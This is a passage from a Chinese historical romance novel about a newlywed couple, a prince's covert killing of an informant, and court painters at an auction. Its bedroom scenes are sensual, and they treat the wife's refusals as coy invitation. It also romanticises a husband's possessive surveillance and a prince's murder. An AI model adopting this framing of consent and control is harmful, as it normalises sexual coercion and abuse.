简珣正觉得有点冷,就听见两扇门悄然开了一道缝,白露抱着湖蓝色宝瓶刻丝锦被轻手轻脚走进来。 到底是自小一起长大的丫鬟,知冷知热。 也正因为了解,才没有在他最丢脸的境地出现,此时才过来约莫是担心他着凉。 简珣尴尬地摸了摸鼻梁。 白露将厚实的锦被覆在他身上,“少爷,这软榻对您来说有点短,不如去书房将就一晚吧……” 简珣道:“不必。” 去书房惊动的可就不止自己的白露,少说也有值夜的婆子烧炕的婆子。 谁也不能保证她们当中不乱说话,倘或传进阿娘耳朵可就麻烦,即便阿娘不知下人知道了也不行,定会以为他与少奶奶不睦,从而轻视少奶奶。 白露无奈叹了口气,只像从前那样两手包着简珣的手为他暖一暖。 简珣一愣。 成了亲又知了事的郎君对这再寻常不过的举动有不一样的理解,他已经切身体会到男女之间的亲昵,对待白露暖手的行为就有耐人寻味的感觉。 其实这真不是什么大事,别说暖手,便是暖脚暖被窝都很正常,但他就是突然别扭起来,也缩回了手,平静道:“下去吧。” 白露诧异地瞅了少爷一眼,又垂眸道:“是,少爷。” 体贴又温柔知意的丫鬟走了。 简珣左右睡不着,想着明儿一定命人换个长一些的软榻,要什么美观,适合他才行,转念一想,难道还有下回? 怎能有下回! 不能再没有底线惯着梅娘了。 简直不知天高地厚。 原本只有白露和素秋通晓他惧内,现在好了,碧荷肯定也知道。 他嗓子酸酸涩涩的,心口也堵得慌。 为什么从小到大都是他在忍让她,不管她多不乖顺,为了讨她欢心,他都得想着法儿的哄着她,可是她呢,绿头巾说扎就给他扎上。 太无耻了,还是姑娘家呢。 后半夜,飘起了一场雪,簌簌如碎银。 寝卧炭盆渐熄,但屋子里暖意将将好,又有厚实的棉花褥子蚕丝被,算不得冷。 不仅不冷,简珣还觉得有点儿热,正是火力旺盛的年纪。 黄时雨恰恰相反,突然的一场倒春寒令她格外冰凉,纵然身子不冷,双手双脚总也捂不暖。 往被窝缩了缩,她蜷成了虾米的形状,渐渐又不觉得冷了,朦朦胧胧里整个身子重新被热腾腾的气息笼罩,温柔而干净的暖意,冰凉的小脚熟练地踩在简珣的脚背上,她在他怀中咕哝一声,睡得分外香甜。 简珣亲了亲她柔软的青丝,“坏女人……” 正因为太过舒服,黄时雨总觉得不对劲,睡意也就消减大半。 帐中黑漆漆静悄悄的,但男子的呼吸清晰可闻,是她熟悉的零陵泽兰香…… 简珣何时进来的? 简珣低低地笑了声,“你不是不要我么,缘何一直往我怀里钻?”说着足背轻轻挑了挑她滑腻的纤足,“就连它也会自己寻我。” 那只被他挑过的纤足蓦地缩了回去。 黄时雨理屈词穷,也不知怎地,梦里寻着有热气的地方依靠。 竟是落下把柄,乐坏了他。 她死死咬着唇,肩膀就被简珣扳过,不得不面朝他而卧,他像是抱着小孩子一般抱着她,亲吻她湿润含泪的睫毛,冰凉的鼻尖儿,以及委屈的樱唇。 “梅娘,”简珣呢喃着她的乳名,“梅娘喜欢被我这样亲,喜欢被我疼爱,那我以后不直接要你,多亲亲你好不好?” 简珣听着她委屈的啜泣越来越大声,忙亲了亲她额头,柔声哄道:“是我不好,太粗鲁了,梅娘这般娇嫩哪里受得住,下次不会这样了……” 他循着她喜欢的方式,用了十二分的耐心,哄着疼爱着。 “鱼水之事一点也不可怕,反倒阴阳调和,对身体有益呢。”简珣循循善诱道,“先前是我没做好,也不等你适应了我……” 是他急躁了。 只想着摘取花儿,也不管花儿受不受得住,与那糟蹋花蕊的狂蜂浪蝶有何分别。 这一夜,黄时雨被简珣拥在怀中,他滚烫而多情的手指轻抚她光洁的额头、浓密的睫毛、圆润的耳珠,也轻抚了她最为羞赧的地方。 可他仿佛有着什么法力,细致地温柔地捺下她所有的惊慌失措,引她一步步深深坠入未知的妖魔领域。 她从未经历过的感受。 渐渐浑身发抖,同时因为无措而挣扎,却忘了他的手指还在…… 黄时雨禁受不住,终于溢出声声求饶,“不,阿珣,不要……” 软酥媚进了骨髓的娇音。 不,这不是她的声音! 简珣立刻噙住她耳珠,良久分开,沙哑道:“真的不要么,可你好像舍不得我离开呢。” 黄时雨只恨不能将他的嘴缝上,可是她没有力气,颠簸的风雨中仅能死死抱住他的手臂抖成一团,哭泣,因为无法形容的欢愉而哭泣。 “阿珣,呜,阿珣……” “嗯,我在,我在,只有我才能让梅娘如此的快乐……” 简珣得意的勾起唇角,那只作怪的手爬上她的脸颊,唇畔,“咦,这是什么?你对我做了什么?” 他举着手,逼迫她面对,牢牢记住给她的快活。 黄时雨羞愤欲死,颤颤骂道:“你,你卑鄙……” “还有更卑鄙的呢。”简珣嬉笑着拢住她,咬着她耳朵道,“好梅娘,我再试一次,我发誓不让你难受,你若不喜欢我随时停下。” 黄时雨早被他调弄的没了半分挣扎的力气。 想说“不”,发出的音儿却更像是邀请。 夜色深浓,帐幔重重,再次轻晃起来。 简珣听见了梅娘一声声无法自抑的哦吟,要了他的命也要了他的魂,那就沉溺在这片温柔乡中吧,大醉一场,不愿醒归。 酣畅淋漓,甘霖抛洒,简珣放下晕睡的梅娘,也不着急擦洗,反而将她的下半截身子垫高,平静地等待着。 他的眼神凛冽而深邃,却又像无波的深潭。 前一刻还在外寝挨冻的少爷,后半夜就要热水。 碧荷算是涨了见识。 白露翻身背对她,一动不动,这么冷的天儿任谁也不想离开被窝吧,碧荷机灵,感念白露此前诸多照顾,便积极爬起,去服侍少爷热水。 次日简珣满面春光,一骨碌爬起,却被黄时雨拽入帐中,“别,先别出去。” 简珣偏头看她,“怎么,还想要?” 黄时雨忽略他的轻薄,只用力绞着手指,“你的脸……” “唔。”简珣似乎才想起自己的脸,“真疼啊。” 黄时雨无地自容。 简珣将上衣半褪,露出后背抓痕,又指着肩膀咬痕,“脸算什么,看看这些,全都是你欺负我的证据。” 触目惊心! 黄时雨眼泪倏然滚滚而落,又怕又愧,“我,不是故意的,是你先欺负的我……” 若非被他折腾急了,她怎会如此歹毒。 善良的姑娘被简珣一道道红印子击溃。 简珣目光微闪,单手轻抚她苍白的小脸,“你叫声阿珣哥哥,我便原谅你,嗯?” “对,不起。”她用手背挡住眼睛。 简珣亲了亲她倔强的小嘴,“不叫哥哥是因为我也欺负了你对不对?以后不那样了,不会弄疼你。” 他抱了她片刻。 依然疼爱她,哄着她,却也有种说不清道不明的压抑,令黄时雨感到害怕。 素秋用凝德斋最好的香粉,细如云烟,一层层为简珣遮掩。 简珣的皮肤本就堪比凝脂,细腻程度不亚于女孩子,用脂粉掩盖竟以假乱真。 顶着“完好”的脸,他牵着一声不吭的梅娘给阿娘请安。 梅娘心虚理亏之时就是这副模样。 他习以为常。 好在尚处新婚期,不用出门应酬。 新婚第七日,正是蜜里调油的阶段,程氏满意地望着长子与长媳,气色真好。 简珣的神清气爽是真的,黄时雨的气色却是胭脂涂的。 难得长子长媳不用念书和上衙,程氏便留了二人用早膳。 简府人口单薄,三个人坐在一起才有烟火气。 黄时雨心里暖融融,婆母从未让她立过规矩,传闻中媳妇必须经历的伺候晨起,布菜捏背,简府全都不存在。 她的婆母与黄太太口中的根本不一样。 程氏怎么对待简珣就怎么对待黄时雨,家里几百个下人又不是不好使,犯不着把儿子的心尖子当下人,磋磨的可不是媳妇的锐气,而是一家子的亲情。 当年婆母就是这么对她的,所以她也这么对自己的儿媳。 孝顺不必通过没苦硬吃表现。 此时的黄时雨虽还带着三分拘谨,一颗心却不知不觉地柔软。 黄时雨细声细气道:“娘,您若不嫌弃,以后我每天都来陪您用晚膳。” 程氏眉眼柔和,“可以,将来婚期结束阿珣也多回府,陪我们一起用晚膳。” 简珣觑了阿娘与梅娘一眼,又默默垂眸,淡淡的“嗯”了声,心想挺好的,下衙就早些回家,免得梅娘将心思放在画署,与不清不楚的人勾搭。 黄时雨飞快地睃了简珣一眼,没想到他一直在盯着自己,心头登时颤了颤,慌忙调开了视线。 饭后,黄时雨留下陪程氏解闷,借此,程氏将孙妈妈指给她。 “孙妈妈是我身边的老人,也是府里极有分量的掌事妈妈,有她帮衬你,学着了解中馈,攒几年阅历,将来我也好慢慢放权,这个家早晚是阿珣与你的。”程氏语重心长道。 孙妈妈闻言,上前给黄时雨恭恭敬敬福身行礼。 黄时雨稍稍侧身受了半礼,“儿媳愚笨,但素来最能吃苦,凡事都会认真学习,遇到不懂的定会向孙妈妈请教。” 程氏含笑点了点头。 什么东西都是学出来的,让一个十几岁的小丫头管理简府肯定不现实,但让小丫头耳濡目染七年八年乃至十年,一切就都有可能。 婆媳叙了一会家常,程氏略感疲乏,便让孙妈妈随同黄时雨告退。 因为黄时雨极其喜爱简珣的书房,两人几乎默认了共用。 其实黄时雨的默认不作数,主要是简珣默认,虽然于理不合,但自己的女人用自己的书房,谁又能知道,知道了又有何资格置喙。 说到底,许多事合不合适还不都是全凭男人一句话。 时下男人将书房视作极为重要的私人领地,除了办正事还可以办很多不正经的事。 书房重地,闲人不敢进来打扰,妻妾想来需得通传,来了也不能乱逛,在这样一个绝对的领域,男人可以做许多的“坏事”,不被打扰,不被约束。 简珣也在书房做过不少“坏事”,却不怕黄时雨发现,甚至向她介绍,“我伺候你的手段便是看了这个,你想不想看?” 心里隐隐期待,如若梅娘肯学,他得多快活。 黄时雨摇摇头,“这是禁书,我不看。” 简珣讪讪然,将书放回暗格。 他不看不学,她能乖乖让他舒服一回么? 黄时雨在想另一件重要的事,斟酌道:“二十你便要会试,可你总是因为我分心,要不我回避几天吧……” 她也不清楚亲昵之事做太多好不好,唯恐他真的亏损过多,耽误了学业。 闲谈时,程氏也含蓄地提醒过她。 这种事终究还是要靠女子规劝。 简珣摇了摇头,“不行。” “为何?” “我怕冷,而且你打了我,总要补偿我些,一句话便将我赶走,那我也太便宜了。” 想起他后背猫儿抓挠似的血痕,黄时雨抿了抿唇,微微垂下眼睫。 总想说两句话让她不痛快,可她真的不痛快了,他也开心不起来。 简珣望着她精致的绣鞋,浅紫色掐云纹的式样,还缀着颗莲子米大小的珍珠,是他亲自为她挑选的。 她明明很乖,只要他喜欢,她就会这么穿。 总能令他微冷的心又不自觉地荡起一汪柔情缱绻的春水。 简珣将她抱在腿上,亲了亲,无声地叹息。 窗外海棠枝头正从积压的白雪里冒出鲜艳的花蕾,犹若胭脂点点。 也不知这场雪下,还能有多少顽强的花儿坚持盛开。 简允璋是真的不怕死,夜夜都要,不过已经克制了许多,只要一次。 不知为何,他结束了便不许她乱动,必须在他身边躺一会儿,过会子才会亲自帮她擦拭。 唯恐她乱动将他处心积虑埋下的果实流尽。 简珣留在画署的耳目并不知自己在为谁效力,只以为是哪个风流纨绔贪花好色,窥探黄画员。 黄画员实在美貌,鲜有见到她不惊艳的男子,惊艳后起了爱慕之心也是人之常情,耳目非常理解男人,因为他也是男人。 这位耳目姓蒋名河,四十余岁,乃画署一个名不见经传的画员,胆小老实又贪财。 拿人钱财替人办事,有人请他留意黄时雨,作为一个最方便接近女画员廨所的男子,他确实是最好的人选,但每次也只能站在边上远远打量,并不敢靠近,也不能靠近,此地看门的婆子可不是吃素的。 这一处廨所,除去打杂的婆子,仅有四名女官,闻道芝,黄时雨,蓝素,姜意凝,平时来往的也都是严艺学,宋祗候等人,蒋河皆认识,唯独那个年轻画员陌生,每次前来,连个通传都不用。 起初,蒋河并未多想,三次以后忽然发现此人出现的规律,当廨所只剩闻道芝闻大人还有黄画员之际。 这么年轻的小郎君总不会是为年近四旬的闻大人而来吧,那么用膝盖想也能猜出所为何人,除了黄时雨不做他想。 有一次,借着为廨所搬运重物的机会,他在婆子的监视下踏进廨所。 只见隔扇大敞,明亮的厅堂内黄画员坐在案前一笔一划描摹,年轻的画员微微倾身,低语指点着她。 含笑的眉眼溢出几多温柔。 金灿灿的阳光撒了两人一身,动人而美好。 蒋河心里却如惊涛骇浪,据他所知,黄画员已有未婚夫。 自从黄画员回家备嫁,年轻画员就未踏足此地,于是蒋河愈加肯定了自己猜疑,也得到了雇主的丰厚赏赐。 雇主示意他打听年轻画员的详细背景,一旦有用便是三百两聚萃钱庄的银票。 蒋河当即全身的血液咕嘟咕嘟沸腾燃起,这么简单的差事换三百两,能够在京师买一栋大宅院! 不,不,先不买宅院,先把他卖掉的小妾赎回家。 蒋河原本家境殷实,又考上画员,前途坦坦光明,却意外沾上鬼市的摇骰子,从而倾家荡产,不仅气死了发妻,连相依为命的小妾也被他拿去卖了。 如今有了银子,良心发现,想再赎回。 几番打听,廨所的婆子才透露一嘴:“他有画阁的令牌,拿着令牌找闻大人,自然畅行无阻。” 蒋河才不信是找闻大人。 他缠着婆子再多说两句,婆子一问三不知。 蒋河败兴而归,在他离开没多久,杂花树影后走出个内侍,问道:“你说的便是这个人?” 婆子连忙弓着腰回答:“是的,常侍大人,这个人奇奇怪怪,经常在咱们廨所附近徘徊,我早就怀疑他了,直到他向我打听殿下,我便觉得不对劲。” 金鹤笑道:“你做的很好。” 肃王敢这么大摇大摆进廨所,自然是因为里外到处都有他的人。 就连一个看门的婆子也是金鹤安排的。 蒋河向肃王的人打听肃王,也是嫌命长。 这日下衙,正逢单日十七,西市无宵禁,蒋河夜半混入鬼市,打听被卖的小妾下落,不禁潸然泪下。 原来小妾性子刚烈,不肯接客,被老鸨子吊在树上揍个半死,寒凉入体再加伤口浸染邪风,当晚便一命呜呼。 他跌坐地上痛哭。 引来不少围观。 好心人上前搀扶他起身,宽慰道:“你也算一个有情有义的大丈夫,只不过她命不好,未能坚持到你来赎身,一切都是命数,且不必过多自责。” 是呀,一切都是命数。 蒋河不意有人如此懂自己,说的话暖进心窝。 两人闲谈几句,十分投机,便去胡姬酒肆畅饮,一醉解千愁。 次日,蒋河的尸体脸朝下漂浮在乌水河面,挂着一层冰碴,冻得硬邦邦的。 惊得过路农妇鬼哭狼嚎。 两个时辰后,捕快带人将尸体捞走,当天便结了案。 蒋河情深义重,为小妾之死自责自愧不已,于是在胡姬酒肆痛饮数十杯,大醉而归,回家途中失足跌进乌水河。 通知家眷,哦,没有家眷,那便通知画署,销了户籍。 这件事几乎没溅起半点水花,左不过画署失去一名碌碌无为的画员,农妇受到惊吓去寺庙烧几炷香平息,走夜路的人听闻此事皆远离乌水河岸。 肃王殿下想要一个人在世上消失,真的非常简单。 韩意淮坐在月至枫停堂赏雪。 净几暖炉,茶铛泉水沸腾。 银鹤跪坐一旁,优雅烹茶,另有五位宫婢叉手立在四周,还有两名围坐烤炉,一个将贮存新鲜的蜜桔香梨放在火上烘烤,一个在为主子剥坚果。 满室甜蜜混合着茶香。 闻遇端起茶瓯,闭目轻嗅,“好茶。” 韩意淮道:“难得我这里还有你看上的茶。” 闻遇笑道:“殿下享天下供养,一饮一食无不上等,这里没有我看不上的。倒是殿下,总是惦记我小小画署,前头一个姑娘还不算完,今儿又取了条小命。” 韩意淮撩眼看他。 第69章 再遇 “殿下息怒。”闻遇说着息怒,姿态却随意地坐在大红酸枝红木的太师椅上,食指轻轻敲着扶手的螭龙纹。 韩意淮冷笑:“闻遇,审案审到本王这里,你何时又权领了大理寺?” “蒋画员虽难登大雅之堂,可好歹也在画署当差六年,没有功劳亦有苦劳,殿下为个女人把他杀了,我若不闻不问,难免使人寒心。”闻遇字斟句酌道。明亮的眼眸宛如冬日的冷太阳,风和日暄,却是凉的。 “六年前你还没我大呢,蒋画员的苦劳又不是在你手底下苦的,”韩意淮捏起一粒松子仁扔进嘴里,“我知道画署这几年不太平,你又一向瞧不上女画员,我越是对黄画员上心,你就越担心再有德妃之流的大戏上演,好好的画署都要变成勋贵子弟寻欢作乐的私窠。” 画道,一个原本严肃又神圣的匠人之路,女画员不钻研技艺,反倒热衷攀附权贵,这两年不知多少下作的小玩意,仗着贵人撑腰往画署里挤,甚至还有爬闻遇床的。 韩意淮想起闻遇的遭遇有点活该也有点好笑,但梅娘与她们不一样,梅娘是干净的,清澈的眼眸,清澈的画魂。 他不允许闻遇将她与爬床的玩意当作一类。 “黄画员从未勾引过我,我与她落花有意流水无情,她非常单纯且胆小,却有一颗赤子之心,我爱她的画魂,也怜她明珠蒙尘,而你心存偏见,又傲慢无礼,从未真正理解过她的画意,直接收了第二名为徒,可曾给过她一点脸面?我偏要双手捧起她,让你瞧瞧她有多厉害。” 韩意淮的声音没什么太大的起伏,继续道:“你捧陆召琰可以,其他画师捧自己所爱都可以,缘何我捧黄画员就不行,仅被视作男人对女人的偏爱?我是偏爱她,但对她的画意是纯洁的,不掺杂任何男女之念,在我眼底,她值得。” “所以,你闻遇不教的人,我来教。” “她就是最好的白蔷薇,你不养,我自己养,我要看着她盛开。” 他与她明明干干净净地习字练画,偏那蒋河不识好歹,兴风作浪,败坏黄时雨名声,肃王又岂会容他活过五更天。 便是简珣,韩意淮也是想杀就杀的。 大不了被皇兄罚个五年俸禄,关在府中思过两年。 然而韩意淮并不愚蠢,反倒十分清醒,玲珑剔透,倘若简珣死在这当口,善良的梅娘一定是活不下去的。 也必然不会原谅他。 那他再忍忍。 肃王殿下这种极致又纯洁的感情令人惊骇,闻遇十分震撼,但无法理解。 他没经历过,共情不了。 莫说他理解不了,正常男人都无法理解。 你说肃王真爱吧,偏不把人带回王府,说不爱吧,又成天盯着。 闻遇语窒,选择睁只眼闭只眼由着两个半大孩子在他的画署玩起感情拉扯的游戏,可牵扯到人命,多少有些过分。 “殿下的深情令人动容。”闻遇脸上根本没有动容,“这回死个蒋河也就罢了,下回再要死什么,还请殿下提前告知一二,凡事好商量。” 韩意淮嗤笑一声。 闻遇就没想过肃王会有好态度,不以为意道:“其实,我曾说过的法子,殿下可以再考虑考虑。” “我将黄画员借调画阁如何?以后你想怎么教都成,你不方便之际我还可以从旁帮衬。”他笑道。 这算是做出相当大的让步。 也算是把黄时雨当半个徒弟了。 韩意淮愤然瞥了他一眼,内心却不由松动。 但恰恰又是这一眼,松动竟迟疑了。 男人看男人很难关注到外貌。 但动了情的男人,心思就千回百转,细腻许多。 韩意淮从前不忿闻遇瞧不上梅娘,如今闻遇承诺要给梅娘行方便,调进画阁,虽然心存把个麻烦弄走的意图,但对梅娘来说利大于弊,韩意淮应该笑纳才是,可是他忽然又不愿意了。 闻遇这个老男人,好像也不老,反倒像是女孩子喜欢的类型,成熟的大哥哥,样貌着实秀美,偏偏又那般高大英挺,身手了得,练了一副好身材。 如此模样,把梅娘放在他身边,真的合适么? 韩意淮思绪空白了一瞬,旋即洞悉。 “不用你管!你又瞧不上她,休想给她脸色看,我自己的徒儿自己操心。”韩意淮不耐烦道,端起茶瓯送客。 梅娘喜欢成熟稳重的,譬如简珣,那闻遇岂不是更完美的简珣,既有成熟稳重又有年纪。 后知后觉,闻遇没看上梅娘,分明是天大的好事。 最终蒋画员之死,不了了之。 闻遇原本也不是来替蒋画员伸冤的。 仅是表达一个态度。 因为女人就取一条画员的命,未免也太不拿自己当外人。 画署,真的不适合谈情说爱,肃王非谈不可,至少照顾下大局。 蒋画员十七那日“意外身亡”,十九就被有心人告知了温良。 简珣正在书房整理试题,明儿便要会试,俗称春闱,一共三场,二十第一场,廿三第二场,廿六第三场,次月初二揭榜,初五殿试。 考程安排得相当紧密。 按理说这种小事不宜透露给少爷,但温良很清楚这是少爷极为关心的“小事”,于是让人通传,面见少爷。 他上前在简珣耳边低语几句。 简珣点点头,“好,我知道了。” 普通男人可能会因为绿头巾情绪崩溃,耳目“意外身亡”六神无主,但简珣不会,源自天生的对于自身情绪的掌控能力。 他不是不怒也不是不在意,只是有更重要的事情要忙。 而频繁的房事便是他唯一的宣泄途经。 毕竟他也不能真的揍梅娘,况且她也经不起他一根指头。 但不管怎样,先把科考这关过了,以后的日子还长,他自然有法子让梅娘交代。 会试的前一晚,简珣接纳了黄时雨清心寡欲的建议,睡一夜书房。 但睡书房之前,他在外寝的榻上先把她睡了。 男人比女人神奇的地方便是,高兴了想云雨,压力大了想云雨,生气了也想云雨,万事皆可通过云雨排解一番。 黄时雨稀里糊涂被简珣捉住,半褪绣了百合花纹样的罗裈一顿颠晃,所幸他手法温柔,又对她的喜好颇有了解,过程并不难受,但姿态极为羞耻,且他宣泄的成分过多,所以也没有太大的欢愉。 她瞪圆了眼睛,望着他忙碌的腰,死死攥住自己挂在腿弯的罗裈,犹如受惊的小兽抱住稻草。 事后,简珣将还没回过神的黄时雨抱进净房,唤了丫鬟服侍她,便去了另一处沐浴更衣,闭目静心养神。 黄时雨蹲在昂贵的香柏木浴桶,有着安神补心功效的木头却一点也安不了她突突跳个不停的小心脏。 慢慢触了触微许火辣辣的地方,她想起简珣一眨不眨盯着自己的脸,目光那么沉寂,动作又那般用力迅疾,把她都撞懵了。 黄时雨用手背擦了擦眼睛。 浴桶的热气把她眼眶也熏湿了。 琥珀与碧荷进来服侍她。 碧荷瞅见少奶奶如花似玉的脸儿,连忙退出,贴心地让烧火的婆子压一压,屋里太热,把少奶奶眼睛都蒸红了。 婆子连忙“嗳”了声,熟练地调节火候。 主子们都精贵,冷了不行,热了也不行。 水汽蒸腾出花瓣的香气,也蒸腾出绿萼梅香露的馥郁,好闻极了。 碧荷最喜欢服侍少奶奶沐浴,能跟着浸润不少香露,没有哪个女孩拒绝得了一瓶一两金的蛊惑。 下人之间也有自己的关系网,互相传播些八卦新闻(注,新闻并非现代词),宣道坊与盛平坊来往最为密切,逢年过节从上到下都有接触,作为关系脉络极为茂盛的家生子,碧荷就通晓安国公府三房的一些趣事,比方说三老爷不舍得买绿萼梅香露送三夫人,却给姨娘买了数十瓶,为此三夫人闹得不可开交。 铁公鸡抠门鬼三老爷,真是可笑。 抠来抠去最后全花在姨娘身上。 少爷就不一样,不仅非常富有还不抠,但只花在少奶奶身上。 上回她亲眼瞧见少奶奶不小心打翻了一排,少爷神情陡变,连忙检查少奶奶的手,唯恐她被尖锐瓷片划伤。 半个眼神也没分给地上的香露。 再看少爷的通房蕊珠,怕是已没几个记得府里还有这号人。 据说去年就可以开脸,不知何故少爷一直没开,今年又是新婚,估计更难。 照着少爷对少奶奶的热乎劲,碧荷猜测,就算少奶奶来了月事,蕊珠也不一定有机会,纵然有机会,宠爱也不及少奶奶一半。 少爷如果有那方面意思便不会将蕊珠安排在距离梅斋斜对角的犄角旮旯。 蕊珠除了为少爷做贴身衣物鞋袜,基本没机会见面。 即使见着了,少爷也是步履匆匆,最多给她个笑脸。 便是白露都比蕊珠更像个通房。 但白露温柔可人,又格外美貌,莫说通房,做个姨娘大家也服气。 碧荷也知道白露与少爷的一些事,两人亲近无匹,但少爷应该还没那方面意思,否则带在身边这么久早就开了脸。 也可能早就开过,但不方便公开。 因为少爷更疼少奶奶。 目光一落在少奶奶身上立刻就不一样,黏黏的危险的。 在碧荷看来,少爷算得上这世道完美的郎君。 作为下人,能跟着得宠的主子,无疑投了个好胎。 整个简府谁敢不敬着少奶奶身边的人儿。 简珣会试期间,黄时雨也开始上衙。 作为简少奶奶,上衙的马车似乎又华丽了几许,多少有些儿张扬了,仿佛要让所有人都注意到她是简府的有夫之妇。 先前的护院车夫不变,接送的丫鬟除了琥珀又多了一名叫宝络的。宝络中等身高中等胖瘦却有一把力气,瞧着虎头虎脑,五官却相当漂亮,走路灵活轻盈,性格还乖巧讨喜,黄时雨没有异议。 有异议也没用,因为是简珣特特安排的。 而黄时雨真无所谓,毕竟她又不是简珣所想的那样,站的正不怕影子歪。 他便是放一百个人在她身边,对她也不会有任何影响。 百来日未见,打远瞧见严艺学和宋祗候,二人官阶都比黄时雨大,她端端正正行礼,二人颔首,笑呵呵恭喜她,黄时雨含羞谢过二位大人,垂眸迈入廨所。 少女经过了雨露的频繁滋养变成了真正的少妇,腰肢与走路姿态皆有细微地变化,宛如一朵胭脂花骨朵遇春绽放成了三月的垂丝海棠,花姿明艳照人,透着不经意的妩媚。 姜意凝与蓝素还都是姑娘家,自是看不懂这种妩媚,只觉得眼前一亮,心神为之一振,黄画员更动人了。 别样的娇俏,不单是美貌,而是骨子里透出的娇滴滴。 蓝素撇撇嘴,在心里想,这不就是阿娘所说的狐媚子气。成个亲回来,怎就妖妖调调上了,唯恐男画员安生。 姜意凝瞅着美人儿,只觉得心情瞬间清朗,主动向黄时雨行了一个同僚间的平礼。 黄时雨亦还礼,又与蓝素见了礼。 大家相互寒暄几句,便一同前往次间拜见了闻大人。 因黄时雨不在的日子,姜意凝与蓝素揽下了她所有差事,如今回来,虽不说把差事都推给她,但她也自觉地多做一些,十分知情识趣。 这份懂事儿令人想找她些麻烦也无从下口。 蓝素哼了声。 心底也分不清是讨厌娇滴滴又美貌的黄画员,还是讨厌黄画员以此为资本驾驭男人吃红利。 间或她也会偷瞄几眼,瞄着黄时雨形状娇美的眼,那么清澈,一点瑕疵也没有的肌肤,嫩如白玉豆腐,心情就沉沉的,灰灰的,然后再低落地瞅着镜中的自己,明明也是家乡有名的美人,却因为黄时雨而黯然失色。 倘若她也有黄时雨的美貌,定会有俊美的贵人关心呵护吧,说不定还能换小闻大人几番回眸。 因着黄时雨的容貌,蓝素就益发不想她出入画阁,画阁极容易遇到贵人,还会遇到小闻大人,女孩子考上画员,不就是为了遇贵人攀高枝。 然而黄时雨现在是有夫之妇,已非黄花大闺女,威胁便少一半,蓝素对她的防备也就没那么紧张。 廿八画阁竞买会,闻大人带着三个下属穿着一丝不苟的官服,头戴乌纱帽前去侦观。 黄时雨等人万万没想到天降意外之喜,旁人没有五百两进不去的盛会,她们打着官架子就大摇大摆混入。 三人在心里同时感慨:当官真好。 就是目前官阶过低,连小芝麻都不如。 闻道芝扫了三个小丫头一眼,各个兴奋溢于言表,“你们跟好了我,不得乱走免得冲撞贵人。” “是,大人。”三人异口同声。 闻大人的雅座设在二楼,单间儿,视野开阔,以月影横纱屏风隔开外面的视线。 女贵客的雅间都有一架这样的屏风。 黄时雨等人到底在见识方面略有不足,全程被豪客的出价惊得目瞪口呆。 豪客不一定是某位大画师的画迷,也可能仅是为了收藏,但都不妨碍他们一掷千金。 三个月一次的竞买会,并不是每场都有好东西,但这一场绝对算近年来最好的,因为一幅闻韵致的真迹《嵩山观雪图》。 闻韵致一出,呼声最高的陆宴立刻就被比下去。 价格节节攀升,不少豪客望洋兴叹,逐渐仅剩两家还在叫板。 闻道芝看得饶有兴味,不多会儿闻遇走过来,蓝素的呼吸都凝滞了,隔着月影横纱,清清楚楚地看见了小闻大人,可惜小闻大人瞧不见她。 姜意凝也吸了口气,“凶名赫赫”归赫赫,但如此近距离下,小闻大人的模样极有欺诈性,宛若温柔的月色。 黄时雨并不认识闻遇却认出是曾在藏画楼帮过自己的大人,这位大人个头高,挡了她的视线,完全瞧不见底下的境况,她试着往旁边挪了挪。 闻遇隔着屏风道:“是丰禾公主,此番还带了懿阳公主。” “另一家是谁?”闻道芝问。 “昙州望族沈氏长房。”闻遇回。 “那可麻烦了,丰禾争不过,你让人看着点。” 闻遇“嗯”了声,举步离开了此处。 黄时雨终于能看见景儿了。 姜意凝吹了个口哨,蓝素沉默不语。 闻道芝瞪向三人,“谁吹了哨?” 姜意凝粉颊一红,连忙捂住嘴。 最终昙州沈家以三万两白银成交。 三万两。 有的人三辈子都花不完。 有的人却用来买一幅画。 黄时雨百感交集。 嘭的一声巨响,斜对面雅间的巨大屏风被人踹翻,丰禾怒容满面,甩袖离开了竞买会,身后跟着一大群宫婢内侍。 始终与她牵着手的少女应该就是懿阳公主。 黄时雨万万没想到简珣口中凶神恶煞的公主竟是天香国色,玲珑娇软,甚至不逊色他的心上人鸢娘…… 她再一次目瞪口呆。 三个人里黄时雨的字最漂亮,又通术算,因此闻大人让蓝素与姜意凝在画阁花园的玉簪亭候命,可以逛但不可离开玉簪亭能见范围。 二人喜不自胜,携着画阁的丫鬟玩去了。 “你跟我来。”闻道芝道。 “是,大人。” 黄时雨则随同闻大人前去正堂办正事儿。 管事送来一叠澄心纸,详细记录了成交的买家身份以及交易额。 数目之巨大,黄时雨渐渐麻木,错觉银子没甚大不了,区区几百两都要不值一提。 闻道芝用指节敲敲桌面,道:“把它们全部抄一份给我,记得核对,不得有误。” 黄时雨敛神回:“卑职领命。” 于是闻大人便与那管事喝茶闲聊,她坐在次间的大窗子下奋笔缓书,不敢有一丝一毫的马虎。 抄了一炷香,黄时雨搁笔揉揉腕子,双眸则盯着一行行字迹核对,红润樱唇小声念着,唯恐出什么纰漏。 怕什么来什么,还真抄错一处银两。 她是个老实的,立即翻出一张崭新的澄心纸就要重新誊写。 闻遇微抬眉头,伸手压着澄心纸一角,“用雌黄。” 黄时雨诧异地抬眸迎向他,窗子前的人,不知站了多久。 闻遇道:“闻大人并非要记档入库,雌黄涂改,纠正即可,不必全部重来。” 他食指点着写错的那一行,修长干净,宛若通透白玉。 旁边是黄时雨小了一圈的食指,莹嫩如芽。 黄时雨整了整衣冠,听话道:“是大人,卑职这就改。” 心里高兴极了,不用重新写。 偷着乐的眼角泛着盈盈秋水,发现闻遇在看她,她就笑了。 闻遇没有笑。 黄时雨一愣,便收了笑意正襟危坐,唯恐被上官斥责不稳重。 雌黄的颜色与纸张极为相近,涂上去几乎看不出痕迹,根本不影响美观。 黄时雨徐徐吹了吹墨迹,发现上官已经离开,她迈着轻快的步子将誊抄完的澄心纸呈给闻大人。 上官已经坐在了闻大人身边。 黄时雨弯腰揖礼,闻遇点点头。 闻道芝半眯着眼扫了一遍,点点头,“字不错,清爽利落,以后誊写这活就你来做。” 得了夸奖,黄时雨暗暗高兴,清脆的“嗳”了声。 闻道芝转而对闻遇道:“我这三个小丫头如何,各有所长,这个最老实,我留着很有用,另外两个你随时借调。” “好。”闻遇看着黄时雨。 黄时雨却在琢磨“老实”二字,一时拿不准算不算夸奖。 本来还想多坐会儿,但闻遇是外男,黄时雨才新婚,都随她坐在这里不太合适。 闻道芝起身,“走吧,我们。” 黄时雨乖乖跟在她身后,寸步不离。 闻遇起身将姑母送至堂前。 